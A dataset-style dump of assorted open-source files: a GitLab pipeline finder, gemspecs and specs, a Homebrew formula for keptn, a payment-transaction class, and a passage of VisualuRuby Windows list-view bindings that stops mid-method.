hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
f769da037383fa39b3fdbb8c2cd05e6c58692563 | 3,524 | # frozen_string_literal: true
module Ci
# A state object to centralize logic related to merge request pipelines
class PipelinesForMergeRequestFinder
include Gitlab::Utils::StrongMemoize
def initialize(merge_request, current_user)
@merge_request = merge_request
@current_user = current_user
end
attr_reader :merge_request, :current_user
delegate :commit_shas, :target_project, :source_project, :source_branch, to: :merge_request
# Fetch all pipelines that the user can read.
def execute
if can_read_pipeline_in_target_project? && can_read_pipeline_in_source_project?
all
elsif can_read_pipeline_in_source_project?
all.for_project(merge_request.source_project)
elsif can_read_pipeline_in_target_project?
all.for_project(merge_request.target_project)
else
Ci::Pipeline.none
end
end
# Fetch all pipelines without permission check.
def all
strong_memoize(:all_pipelines) do
next Ci::Pipeline.none unless source_project
pipelines =
if merge_request.persisted?
pipelines_using_cte
else
triggered_for_branch.for_sha(commit_shas)
end
sort(pipelines)
end
end
private
# rubocop: disable CodeReuse/ActiveRecord
def pipelines_using_cte
sha_relation = merge_request.all_commits.select(:sha).distinct
cte = Gitlab::SQL::CTE.new(:shas, sha_relation)
pipelines_for_merge_requests = triggered_by_merge_request
pipelines_for_branch = filter_by_sha(triggered_for_branch, cte)
Ci::Pipeline.with(cte.to_arel) # rubocop: disable CodeReuse/ActiveRecord
.from_union([pipelines_for_merge_requests, pipelines_for_branch])
end
# rubocop: enable CodeReuse/ActiveRecord
def filter_by_sha(pipelines, cte)
hex = Arel::Nodes::SqlLiteral.new("'hex'")
string_sha = Arel::Nodes::NamedFunction.new('encode', [cte.table[:sha], hex])
join_condition = string_sha.eq(Ci::Pipeline.arel_table[:sha])
filter_by(pipelines, cte, join_condition)
end
def filter_by(pipelines, cte, join_condition)
shas_table =
Ci::Pipeline.arel_table
.join(cte.table, Arel::Nodes::InnerJoin)
.on(join_condition)
.join_sources
pipelines.joins(shas_table) # rubocop: disable CodeReuse/ActiveRecord
end
# NOTE: this method returns only parent merge request pipelines.
# Child merge request pipelines have a different source.
def triggered_by_merge_request
Ci::Pipeline.triggered_by_merge_request(merge_request)
end
def triggered_for_branch
source_project.all_pipelines.ci_branch_sources.for_branch(source_branch)
end
def sort(pipelines)
sql = 'CASE ci_pipelines.source WHEN (?) THEN 0 ELSE 1 END, ci_pipelines.id DESC'
query = ApplicationRecord.send(:sanitize_sql_array, [sql, Ci::Pipeline.sources[:merge_request_event]]) # rubocop:disable GitlabSecurity/PublicSend
pipelines.order(Arel.sql(query)) # rubocop: disable CodeReuse/ActiveRecord
end
def can_read_pipeline_in_target_project?
strong_memoize(:can_read_pipeline_in_target_project) do
Ability.allowed?(current_user, :read_pipeline, target_project)
end
end
def can_read_pipeline_in_source_project?
strong_memoize(:can_read_pipeline_in_source_project) do
Ability.allowed?(current_user, :read_pipeline, source_project)
end
end
end
end
| 32.036364 | 152 | 0.717934 |
e26e60cfc133bdcade67821d9a022e6a70424ee9 | 1,047 | # coding: utf-8
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "qo/version"
Gem::Specification.new do |spec|
spec.name = "qo"
spec.version = Qo::VERSION
spec.authors = ["Brandon Weaver"]
spec.email = ["[email protected]"]
spec.summary = %q{Qo is a querying library for Ruby pattern matching}
spec.homepage = "https://www.github.com/baweaver/q"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.15"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.0"
spec.add_development_dependency "guard"
spec.add_development_dependency "guard-rspec"
spec.add_development_dependency "benchmark-ips"
end
| 34.9 | 77 | 0.658071 |
1d9b7babfa91392ff9fe24db72b7c969f7dea263 | 1,570 | require 'spec_helper'
require 'json'
require 'base64'
describe Diplomat::Datacenter do
context 'datacenters' do
let(:key_url) { 'http://localhost:8500/v1/catalog/datacenters' }
let(:body) { %w[dc1 dc2] }
let(:headers) do
{
'x-consul-index' => '8',
'x-consul-knownleader' => 'true',
'x-consul-lastcontact' => '0'
}
end
describe 'GET' do
it 'returns dcs' do
json = JSON.generate(body)
stub_request(:get, key_url).to_return(OpenStruct.new(body: json))
datacenters = Diplomat::Datacenter
expect(datacenters.get.size).to eq(2)
expect(datacenters.get.first).to eq('dc1')
end
end
describe 'GET With headers' do
it 'empty headers' do
json = JSON.generate(body)
stub_request(:get, key_url).to_return(OpenStruct.new(body: json, headers: nil))
datacenters = Diplomat::Datacenter.new
meta = {}
expect(datacenters.get(meta).size).to eq(2)
expect(datacenters.get(meta)[0]).to eq('dc1')
expect(meta.length).to eq(0)
end
it 'filled headers' do
json = JSON.generate(body)
stub_request(:get, key_url)
.to_return(OpenStruct.new(body: json, headers: headers))
datacenters = Diplomat::Datacenter.new
meta = {}
s = datacenters.get(meta)
expect(s.first).to eq('dc1')
expect(meta[:index]).to eq('8')
expect(meta[:knownleader]).to eq('true')
expect(meta[:lastcontact]).to eq('0')
end
end
end
end
| 25.322581 | 87 | 0.589809 |
9119b5fd58466ddcdffb2dd9b97aa000861f1ea8 | 1,218 | # Copyright (c) 2018 Public Library of Science
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
class RemoveDefaultFlagForFlows < ActiveRecord::Migration
def change
remove_column :flows, :default
end
end
| 46.846154 | 76 | 0.78243 |
2855d9e66f98278e8073ca42732d7bd04c89a34d | 1,918 | class Keptn < Formula
desc "Is the CLI for keptn.sh a message-driven control-plane for application delivery"
homepage "https://keptn.sh"
url "https://github.com/keptn/keptn/archive/0.14.2.tar.gz"
sha256 "141b18f3ae1a1bab2ea4075883336380e46b6195c5dbf39ca83e8d66f7e53e45"
license "Apache-2.0"
livecheck do
url :stable
regex(/^v?(\d+(?:\.\d+)+)$/i)
end
bottle do
sha256 cellar: :any_skip_relocation, arm64_monterey: "ba21814dbf7e354410e3f89658eb40faacc9dbab2f96b7481b939c229f756519"
sha256 cellar: :any_skip_relocation, arm64_big_sur: "fd3b93b894fcc4970c52dc8107587ba690cd6a6f41303c995940d3d732453ee5"
sha256 cellar: :any_skip_relocation, monterey: "b06b919c4934585db2d61873af2d82406110a93162cbc61d453f51ed5ba7ec32"
sha256 cellar: :any_skip_relocation, big_sur: "0a15c3964172896888b16fcfec08f4fda49ca73aaa15f537d840d2c7b81b472d"
sha256 cellar: :any_skip_relocation, catalina: "403b4f8b4e4ce0f616e07facc4e3998c810f6c53726227e527edbb49fbf0216e"
sha256 cellar: :any_skip_relocation, x86_64_linux: "1516863994bf2b13274d48f9f6b3f52d342e6efdf2100907d50d570d6b6e3621"
end
depends_on "go" => :build
def install
ldflags = %W[
-s -w
-X github.com/keptn/keptn/cli/cmd.Version=#{version}
-X main.KubeServerVersionConstraints=""
]
cd buildpath/"cli" do
system "go", "build", *std_go_args(ldflags: ldflags)
end
end
test do
system bin/"keptn", "set", "config", "AutomaticVersionCheck", "false"
system bin/"keptn", "set", "config", "kubeContextCheck", "false"
assert_match "Keptn CLI version: #{version}", shell_output(bin/"keptn version 2>&1")
output = shell_output(bin/"keptn status 2>&1", 1)
if OS.mac?
assert_match "Error: credentials not found in native keychain", output
else
assert_match ".keptn/.keptn____keptn: no such file or directory", output
end
end
end
| 38.36 | 123 | 0.736705 |
011ec2bf1671637d035212603c1b66ecdad2158f | 1,761 | module SixSaferpay
module SixTransaction
class AuthorizeDirect
attr_accessor(:request_header,
:terminal_id,
:payment,
:payment_means,
:register_alias,
:payer
)
def initialize(request_header: nil,
terminal_id: nil,
payment:,
payment_means:,
register_alias: nil,
payer: nil
)
@request_header = request_header || SixSaferpay::RequestHeader.new()
@terminal_id = SixSaferpay.config.terminal_id || terminal_id
@payment = SixSaferpay::Payment.new(payment.to_h) if payment
@payment_means = SixSaferpay::RequestPaymentMeans.new(payment_means.to_h) if payment_means
@register_alias = SixSaferpay::RegisterAlias.new(register_alias.to_h) if register_alias
@payer = SixSaferpay::Payer.new(payer.to_h) if payer
end
def to_hash
hash = Hash.new
hash.merge!(request_header: @request_header.to_h) if @register_alias
hash.merge!(terminal_id: @terminal_id) if @terminal_id
hash.merge!(payment: @payment.to_h) if @payment
hash.merge!(payment_means: @payment_means.to_h) if @payment_means
hash.merge!(register_alias: @register_alias.to_h) if @register_alias
hash.merge!(payer: @payer.to_h) if @payer
hash
end
alias_method :to_h, :to_hash
def to_json
to_hash.to_json
end
def url
'/Payment/v1/Transaction/AuthorizeDirect'
end
def response_class
SixSaferpay::SixTransaction::AuthorizeDirectResponse
end
end
end
end
| 32.018182 | 98 | 0.595684 |
7927f6b2eb1d22bcd67a55cd60940f9cb6addaaa | 2,225 | # encoding: UTF-8
#
# Copyright (c) 2010-2017 GoodData Corporation. All rights reserved.
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
require 'gooddata'
describe 'Create project using GoodData client', :constraint => 'slow' do
before(:all) do
@client = ConnectionHelper.create_default_connection
@blueprint = GoodData::Model::ProjectBlueprint.build("My project from blueprint") do |project_builder|
project_builder.add_dataset('dataset.users', title: 'Users Dataset') do |schema_builder|
schema_builder.add_anchor('attr.users.id')
schema_builder.add_label('label.users.id_label', reference: 'attr.users.id')
schema_builder.add_attribute('attr.users.another_attr')
schema_builder.add_label('label.users.another_attr_label', reference: 'attr.users.another_attr')
schema_builder.add_fact('fact.users.some_number')
end
end
fail "blueprint is invalid" unless @blueprint.valid?
@project = @client.create_project_from_blueprint(@blueprint, auth_token: ConnectionHelper::GD_PROJECT_TOKEN)
end
after(:all) do
@project && @project.delete
@client && @client.disconnect
end
it 'Should create computed attribute' do
metric = @project.facts('fact.users.some_number').create_metric(title: 'Test')
metric.save
attribute = @project.attributes('attr.users.another_attr')
update = GoodData::Model::ProjectBlueprint.build('update') do |project_builder|
project_builder.add_computed_attribute(
'attr.comp.my_computed_attr',
title: 'My computed attribute',
metric: metric,
attribute: attribute,
buckets: [{ label: 'Small', highest_value: 1000 }, { label: 'Medium', highest_value: 2000 }, { label: 'High' }]
)
end
new_bp = @blueprint.merge(update)
fail "blueprint with computed attribute is invalid" unless new_bp.valid?
@project.update_from_blueprint(new_bp)
ca = @project.attributes.find { |a| a.title == 'My computed attribute' }
expect(ca).not_to be_nil
expect(ca.computed_attribute?).to be_truthy
expect(@project.computed_attributes.length).to eq 1
end
end
| 39.035088 | 119 | 0.715955 |
2660b1033e692eb672fe61a70acdd3e9aaabe92b | 661 | require 'spec_helper'
require 'rails_helper'
feature 'create user' do
scenario "can create user" do
visit '/users/new'
expect(page).to have_content('Create a RamenRate Account')
fill_in 'Name', :with=>'Karen'
fill_in 'E-mail', :with=>'[email protected]'
fill_in 'Password', :with=>"123456"
fill_in 'Confirm Password', :with=>"123456"
click_button 'Create'
expect(page).to have_content("Welcome to RamenRate")
end
end
feature 'page validation check' do
scenario "visitng page without being logged in" do
visit '/ramen'
expect(page).to have_content('Please log in as a user before viewing this page.')
end
end
| 23.607143 | 85 | 0.694402 |
013e8a640ecab7d3fc89e32e7447062fe8a7ca62 | 52,327 | ###################################
#
# vrcomctl.rb
# Programmed by nyasu <[email protected]>
# Copyright 1999-2005 Nishikawa,Yasuhiro
#
# More information at http://vruby.sourceforge.net/index.html
#
###################################
VR_DIR="vr/" unless defined?(::VR_DIR)
require VR_DIR+'vruby'
=begin
= VisualuRuby(tmp) Common Controls.
This file prepares classes of common controls, panels and menu modules.
<<< handlers.rd
=end
require 'Win32API'
begin
Win32API.new("comctl32","InitCommonControlsEx","P","").call [8,0x400].pack("LL")
VR_OLDCOMCTL=false
rescue
# puts "comctl too old to use rebar and so on"
VR_OLDCOMCTL=true
end
module WMsg
NFR_ANSI=1
NFR_UNICODE=2
NF_QUERY=3
NF_REQUERY=4
WM_NOTIFYFORMAT=85
end
module WStyle
CCS_TOP = 0x00000001
CCS_NOMOVEY = 0x00000002
CCS_BOTTOM = 0x00000003
CCS_NORESIZE = 0x00000004
end
module WStruct
NMHDR="UUU"
end
##################
#
# The following control windows send WM_NOTIFY message to their parent
# This definition is for handling them.
#
module VRComCtlContainer
=begin
== VRComCtlContainer
This module provides a message handler for WM_NOTIFY, which calls
defined method in a parent window.
VRForm includes this module automatically loading "vrcomctl.rb".
=end
include VRMessageHandler
def comctlcontainerinit
addHandler(WMsg::WM_NOTIFY,"wmnotify", MSGTYPE::ARGPASS, nil)
addHandler(WMsg::WM_NOTIFYFORMAT,"wmnotifyformat",MSGTYPE::ARGINTINT,nil)
addEvent WMsg::WM_NOTIFY
addEvent WMsg::WM_NOTIFYFORMAT
addNoRelayMessages [WMsg::WM_NOTIFY,WMsg::WM_NOTIFYFORMAT]
end
def vrinit
super
comctlcontainerinit
end
def self_wmnotifyformat(parent,command)
SKIP_DEFAULTHANDLER[1]
end
def self_wmnotify(msg)
orig_arg= @screen.application.cstruct2array(msg.lParam,WStruct::NMHDR)
id=msg.wParam
ct=@controls[id] # Activated Control
if !ct then return end # Ignore message passed through childwin
r=nil
return unless ct.is_a?(VRNotifyControl) and # Added by yukimi_sake
ct._vr_ntfyhandlers and ct._vr_ntfyhandlers[orig_arg[2]]
ct._vr_ntfyhandlers[orig_arg[2]].each do |shandler|
args=msgarg2handlerarg(shandler[1],msg,shandler[2])
if args.size>0 and ct.respond_to?("_vr_notifyarg") then
necessary_arg=ct._vr_notifyarg[orig_arg[2]]
if necessary_arg then
n=necessary_arg.size-1
0.upto(n) do |idx|
args[idx+3]=nil if necessary_arg[idx,1]=='F'
end
end
args=args[3..-1].compact
end
ct.__send__(shandler[0],*args) if ct.respond_to?(shandler[0])
r = controlmsg_dispatching(ct,shandler[0],*args)
end
r
end
end
module VRContainersSet
include VRComCtlContainer
INITIALIZERS.push :comctlcontainerinit
end
####################################
#
# Argument Utilities for Common Controls
#
class VRNotifyControl < VRControl
=begin
== VRNotifyControl
All common controls have these event handlers.
=== Event handlers
--- ????_clicked
fired when the control is clicked with left button.
--- ????_hitreturn
fired when the control has the input focus and the user press ((*ENTER*)) key.
--- ????_dblclicked
fired when the control is double-clicked with left button.
--- ????_rclicked
fired when the control is clicked with right button.
--- ????_rdblclicked
fired when the control is double-clicked with rightbutton.
--- ????_gotfocus
fired when the control has got the input focus
--- ????_lostfocus
fired when the control has lost the input focus
=end
attr :_vr_notifyarg
def _vr_ntfyhandlers
unless defined?(@_vr_ntfyhandlers)
@_vr_ntfyhandlers={}
else
@_vr_ntfyhandlers
end
end
def notifycontrolinit
@_vr_notifyarg={}
addNotifyHandler(0xfffffffe,"clicked",MSGTYPE::ARGNONE,nil)
addNotifyHandler(0xfffffffd,"dblclicked",MSGTYPE::ARGNONE,nil)
addNotifyHandler(0xfffffffc,"hitreturn",MSGTYPE::ARGNONE,nil)
addNotifyHandler(0xfffffffb,"rclicked",MSGTYPE::ARGNONE,nil)
addNotifyHandler(0xfffffffa,"rdblclicked",MSGTYPE::ARGNONE,nil)
addNotifyHandler(0xfffffff9,"gotfocus",MSGTYPE::ARGNONE,nil)
addNotifyHandler(0xfffffff8,"lostfocus",MSGTYPE::ARGNONE,nil)
end
def vrinit
super
notifycontrolinit
end
def addFilterArg(msg,filter) # filter as str : 'T'=true, 'F'=false
@_vr_notifyarg[msg]=filter
end
def deleteFilterArg(msg)
@_vr_notifyarg[msg]=nil
end
def addNotifyHandler(msg,handlername,handlertype,argparsestr)
@_vr_ntfyhandlers={} unless defined?(@_vr_ntfyhandlers)
@_vr_ntfyhandlers[msg]=[] unless @_vr_ntfyhandlers[msg]
@_vr_ntfyhandlers[msg].push [handlername,handlertype,argparsestr]
end
def deleteNotifyHandler(msg,handlername)
return false unless @_vr_ntfyhandlers and @_vr_ntfyhandlers[msg]
@_vr_ntfyhandlers.delete_if do |shandler|
shandler[0] != (PREHANDLERSTR+handlername).intern
end
end
end
###################################
# Common Controls
#
# Listview
module WMsg
LVM_GETBKCOLOR = 0x1000 #GETBKCOLOR, LVM_FIRST
LVM_SETBKCOLOR = 0x1001
LVM_SETIMAGELIST = 0x1003
LVM_GETITEMCOUNT = 0x1004
LVM_GETITEM = 0x1005 #GETITEMA
LVM_SETITEM = 0x1006 #SETITEMA
LVM_INSERTITEM = 0x1007 #INSERTITEMA
LVM_DELETEITEM = 0x1008
LVM_DELETEALLITEM = 0x1009
LVM_GETNEXTITEM = 0x1000 + 12
LVM_GETITEMRECT = 0x1000 + 14
LVM_HITTEST = 0x1000 + 18
LVM_ENSUREVISIBLE = 0x1000 + 19
LVM_GETCOLUMN = 0x1000+25 #GETCOLUMNA
LVM_SETCOLUMN = 0x1000+26 #SETCOLUMNA
LVM_INSERTCOLUMN = 0x1000+27 #INSERTCOLUMNA
LVM_DELETECOLUMN = 0x1000+28 #DELETECOLUMNA
LVM_GETCOLUMNWIDTH= 0x1000+29
LVM_SETCOLUMNWIDTH= 0x1000+30
LVM_SETITEMSTATE = 0x1000+43
LVM_GETITEMSTATE = 0x1000+44
LVM_GETITEMTEXT = 0x1000+45 #GETITEMTEXTA
LVM_SETITEMTEXT = 0x1000+46 #SETITEMTEXTA
LVM_SORTITEMS = 0x1000+48
LVM_GETSELECTED = 0x1000+50 #LVM_GETSELECTEDCOUNT
LVM_SETEXTENDEDLISTVIEWSTYLE = 0x1000 + 54
LVM_GETEXTENDEDLISTVIEWSTYLE = 0x1000 + 55
LVM_SUBITEMHITTEST= 0x1000+57
LVN_ITEMCHANGING = 0xffffffff-99
LVN_ITEMCHANGED = LVN_ITEMCHANGING-1
LVN_INSERTITEM = LVN_ITEMCHANGING-2
LVN_DELETEITEM = LVN_ITEMCHANGING-3
LVN_COLUMNCLICK = LVN_ITEMCHANGING-8
LVN_BEGINDRAG = LVN_ITEMCHANGING-9
LVN_BEGINRDRAG = LVN_ITEMCHANGING-11
end
module WStyle
LVS_ICON = 0x0000
LVS_REPORT = 0x0001
LVS_SMALLICON = 0x0002
LVS_LIST = 0x0003
LVS_SINGLESEL = 4
LVS_SHOWSELALWAYS = 8
end
module WExStyle
LVS_EX_FULLROWSELECT=32
LVS_EX_GRIDLINES=1
end
module WConst
LVIS_FOCUSED = 0x0001
LVIS_SELECTED = 0x0002
LVIS_CUT = 0x0004
LVIS_DROPHILITED = 0x0008
end
module WStruct
LVITEM = "UIIUUPIIL"
LVCOLUMN = "UIIPIIII"
LVFIND = "UPLPU"
LVHITTEST = "IIUI"
NM_LISTVIEW= NMHDR+"IIUUULLL" #INT item,subitem,UINT nst,ost,chg,POINT,LParam
end
class VRListview < VRNotifyControl
=begin
== VRListview
Listview.
Some features has not implemented yet.
=== Method
--- setViewMode(mode)
((|mode|)) as viewmode. 0 for ICON, 1 for REPORT, 2 for SMALLICON and
3 for LIST
--- getViewMode
Returns the view mode.
--- iconview
Sets the view mode for Icon view.
--- reportview
Sets the view mode for Report view.
--- smalliconview
Sets the view mode for Small icon view.
--- listview
Sets the view mode for listing view.
--- setBkColor(color)
--- bkcolor=(color)
Sets the background color.
--- lvexstyle
--- lvexstyle=(style)
Gets/Sets Listview extended style.
If you need style mask, use setListviewExStyle()
--- setListviewExStyle(style,mask=0xffffffff)
Sets Listview extended style using style mask.
--- insertColumn(column,text,width=50,format=0,textsize=title.size)
Inserts a new column specified by ((|text|)), ((|width|)) and ((|format|))
into the index of ((|column|)), which is started from 0.
((|format|)) means 0 for left-padded, 1 for right-padded, 2 for centred.
--- deleteColumn(column)
Deletes the column at the index of ((|column|))
--- clearColumns
Deletes all columns.
--- countColumns
Counts the number of columns.
--- addColumn(text,width=50,format=0,textsize=title.size)
Adds a new column after the last column.
--- setImagelist(imagelist,itype=0)
Set ((|imagelist|)) for displaying icons of items. ((|imagelist|)) must be
a kind of SWin::Imagelist. ((|itype|)) specifies the type of Imagelist.
itype : 0 for normal icon, 1 for small icon (,2 for state icon).
--- setItemIconOf(hitem,img)
Sets image ids in a imagelist of the item.
The imagelist is set by ((<setImagelist>)) method.
--- getItemIconOf(hitem)
Returns images id of the item.
--- getColumnWidthOf(column)
Returns the width of the column whose index is ((|column|)).
--- setColumnWidthOf(column,width)
Sets the width of the column.
--- getColumnTextOf(column)
Returns the text of the column whose index is ((|column|)).
--- setColumnTextOf(column,text)
Sets the text of the column.
--- getColumnFormatOf(column)
Returns the format of the column whose index is ((|column|)).
(see ((<insertColumn>)) about format)
--- setColumnFormatOf(column,format)
Sets the format of the column.
--- insertItem(index,texts,lparam=0,textsize=128)
Inserts a new item into the index of ((|index|)).((|texts|)) is an array of
String which means [item_text, subitem_text, subitem2_text,...].
((|lparam|)) is a 32bit value concerned with the item.
((|textsize|)) is the limit length of the item texts.
--- addItem(texts,lparam=0,textsize=128)
Adds a new item after the last item.
--- insertMultiItems(index,multitexts)
Inserts new items into the index of ((|index|)).
((|multitexts|)) is an array which is the arguments of ((<insertItem>))
excluding ((|index|))
--- deleteItem(idx)
Deletes an item at the index of ((|idx|)).
--- clearItems
Deletes all items.
--- countItems
Counts the items.
--- hittest(x,y)
Inspect the item index which is at the co-ordinate(((|x|)),((|y|)))
--- hittest2(x,y)
Returns the item information which is at the co-ordinate(((|x|)),((|y|))).
The information is the array [x,y,part,index,subitem]
--- getItemRect(idx)
Returns an co-ordinates array of integers [left,top,right,bottom]
--- getItemStateOf(idx)
Returns the item state at the index of ((|idx|)).
The state is 1 for forcused, 2 for selected, 3 for cut and 4 fordrophilited.
--- setItemStateOf(idx,state)
Sets the item state.
--- selectItem(idx,flag)
Change selected state of the item at the index of ((|idx|)).
If ((|flag|)) is true, the item is selected and if it's false the item is
un-selected.
--- getNextItem(start,flags)
Searches for an item described by ((|start|)) and ((|flags|)).
((|flags|)) is
* 1 : focused item after ((|start|))
* 2 : selected item after ((|start|))
* 4 : cut item after ((|start|))
* 8 : drophilited item after ((|start|))
* 0x100 : item above ((|start|))
* 0x200 : item below ((|start|))
* 0x400 : left item from ((|start|))
* 0x800 : right item from ((|start|))
--- focusedItem
Returns index of the focused item.
--- getItemTextOf(idx,subitem=0,textsize=128)
Retrieves the sub-text of the item (index ((|idx|)) ).
((|subitem|)) specifies the subitem number.
--- setItemTextOf(idx,subitem,text,textsize=text.size)
Sets the sub-text of the item.
--- getItemLParamOf(idx)
Gets the lParam of the item.
--- setItemLParamOf(idx,lparam)
Sets the lParam of the item.
--- selected?(idx)
Returns true if the item is selected.
--- focused?(idx)
Returns true if the item is focused.
--- eachSelectedItems
Yields each selected item index.
--- countSelectedItems()
Counts the selected items.
--- ensureVisible(i,partial=true)
Ensures the item(idx) is visible by scrolling.
=== Event handlers
--- ????_itemchanged(idx,state)
fired when the item state is changed. This also means that this is fired after changing selected items.
((|idx|)) is the index of the item and ((|state|)) is the new state.
--- ????_itemchanging(idx,state)
fired when the item state is changing.
--- ????_columnclick(subitem)
fired when the column is clicked. ((|subitem|)) is the column index.
--- ????_begindrag
--- ????_beginrdrag
=end
public
WINCLASSINFO = ["SysListView32",WStyle::LVS_REPORT,0x200]
def listviewinit
addNotifyHandler(WMsg::LVN_ITEMCHANGED,"itemchanged",
MSGTYPE::ARGSTRUCT,WStruct::NM_LISTVIEW)
addFilterArg WMsg::LVN_ITEMCHANGED,"TFFTFFFF"
addNotifyHandler(WMsg::LVN_ITEMCHANGING,"itemchanging",
MSGTYPE::ARGSTRUCT,WStruct::NM_LISTVIEW)
addFilterArg WMsg::LVN_ITEMCHANGING,"TFFTFFFF"
addNotifyHandler(WMsg::LVN_COLUMNCLICK,"columnclick",
MSGTYPE::ARGSTRUCT,WStruct::NM_LISTVIEW)
addFilterArg WMsg::LVN_COLUMNCLICK,"FTFFFFFF"
addNotifyHandler(WMsg::LVN_BEGINDRAG,"begindrag",
MSGTYPE::ARGNONE,nil)
addNotifyHandler(WMsg::LVN_BEGINRDRAG,"beginrdrag",
MSGTYPE::ARGNONE,nil)
end
def vrinit
super
listviewinit
end
def setViewMode(mode)
self.style = (self.style & 0xfffffff8) + (mode&3)
end
def getViewMode
self.style & 0xfffffff8
end
def iconview() setViewMode(0) end
def reportview() setViewMode(1) end
def smalliconview() setViewMode(2) end
def listview() setViewMode(3) end
def setBkColor(color)
sendMessage WMsg::LVM_SETBKCOLOR,0,color.to_i
end
def bkcolor=(color)
setBkColor(color)
end
def setListviewExStyle(sty,mask=0xffffffff)
sendMessage WMsg::LVM_SETEXTENDEDLISTVIEWSTYLE,mask,sty
end
def lvexstyle=(sty)
setListviewExStyle(sty)
end
def lvexstyle
sendMessage WMsg::LVM_GETEXTENDEDLISTVIEWSTYLE,0,0
end
def insertColumn(column,title,width=50,style=0,textsize=title.size)
[email protected](WStruct::LVCOLUMN,
0xf,style.to_i,width.to_i,title.to_s,textsize,column,0,0)
sendMessage WMsg::LVM_INSERTCOLUMN,column.to_i,lv
end
def deleteColumn(column)
sendMessage(WMsg::LVM_DELETECOLUMN,column.to_i,0)
end
def clearColumns
while sendMessage(WMsg::LVM_DELETECOLUMN,0,0)!=0 do; end
end
def countColumns
r=0
while getColumnTextOf(r) do r+=1; end
r
end
def addColumn(*args)
insertColumn(30000,*args) #30000 as a big number. I believe this is enough.
end
def getColumnWidthOf(column)
sendMessage(WMsg::LVM_GETCOLUMNWIDTH,column.to_i,0)
end
def setColumnWidthOf(column,width)
sendMessage(WMsg::LVM_SETCOLUMNWIDTH,column.to_i,width.to_i)
end
def setColumnTextOf(column,text)
[email protected](WStruct::LVCOLUMN,
4,0,0,text,text.size,0)
sendMessage WMsg::LVM_SETCOLUMN,column.to_i,p
end
def setColumnFormatOf(column,format)
[email protected](WStruct::LVCOLUMN,
1,format,0,"",0,0)
sendMessage WMsg::LVM_SETCOLUMN,column.to_i,p
end
def getColumnTextOf(column)
[email protected](WStruct::LVCOLUMN,
4,0,0,"\0"*128,128,0)
rv=sendMessage WMsg::LVM_GETCOLUMN,column.to_i,p
[email protected](p,WStruct::LVCOLUMN)[3]
if rv!=0 then
@screen.application.pointer2string(r)
else
nil
end
end
def getColumnFormatOf(column)
[email protected](WStruct::LVCOLUMN,
1,0,0,"",0,0)
rv=sendMessage WMsg::LVM_GETCOLUMN,column.to_i,p
if rv!=0 then
@screen.application.unpack(p,WStruct::LVCOLUMN)[1]
else
nil
end
end
def insertItem(index,texts,lparam=0,textsize=128)
[email protected](WStruct::LVITEM,
0xf,index,0,0,0,texts[0].to_s,textsize,0,lparam)
item=sendMessage(WMsg::LVM_INSERTITEM,0,lvitem)
1.upto(texts.size-1) do |subitem|
setItemTextOf(item,subitem,texts[subitem],textsize)
end
item
end
def addItem(*args)
insertItem(30000,*args)
end
def insertMultiItems(index,multitexts,textsize=128)
n=multitexts.size
0.upto(n-1) do |i|
insertItem(index+i,*multitexts[i])
end
end
def deleteItem(idx)
sendMessage WMsg::LVM_DELETEITEM,idx.to_i,0
end
def clearItems
sendMessage WMsg::LVM_DELETEALLITEM,0,0
end
def countItems
sendMessage WMsg::LVM_GETITEMCOUNT,0,0
end
def hittest(x,y)
[email protected](WStruct::LVHITTEST,
x.to_i,y.to_i,0,0)
sendMessage WMsg::LVM_HITTEST,0,lvhit
@screen.application.unpack(lvhit,WStruct::LVHITTEST)[3]
end
def hittest2(x,y)
[email protected](WStruct::LVHITTEST,
x.to_i,y.to_i,0,0)
sendMessage WMsg::LVM_SUBITEMHITTEST,0,lvhit
@screen.application.unpack(lvhit,WStruct::LVHITTEST)
end
def getNextItem(start,flag)
r=sendMessage WMsg::LVM_GETNEXTITEM,start,MAKELPARAM(flag,0)
case(r)
when -1
0
when 0
nil
else
r
end
end
def focusedItem
getNextItem(0,1)
end
def setImagelist(imagelist,itype=0)
raise "not Imagelist" unless imagelist.is_a?(SWin::Imagelist)
self.properties["imagelist"]=imagelist
sendMessage WMsg::LVM_SETIMAGELIST,itype,imagelist.himagelist
end
def setItemIconOf(idx,imageid)
[email protected](WStruct::LVITEM,
2,idx,0,0,0xffff,"",0,imageid.to_i,0) # 2=LVIF_IMAGE
sendMessage WMsg::LVM_SETITEM,idx.to_i,lvitem
end
def getItemIconOf(idx)
[email protected](WStruct::LVITEM,
0x2,idx,0,0,0,"",0,0,0)
sendMessage( WMsg::LVM_GETITEM,0,lvitem )
@screen.application.unpack(lvitem,WStruct::LVITEM)[7]
end
def setItemStateOf(idx,state)
[email protected](WStruct::LVITEM,
0,0,0,state,0xffff,"",0,0,0)
sendMessage WMsg::LVM_SETITEMSTATE,idx.to_i,lvitem
end
def getItemStateOf(idx)
sendMessage WMsg::LVM_GETITEMSTATE,idx.to_i,0xffff
end
def selectItem(idx,flag)
if flag then
s = getItemStateOf(idx) | WConst::LVIS_SELECTED
else
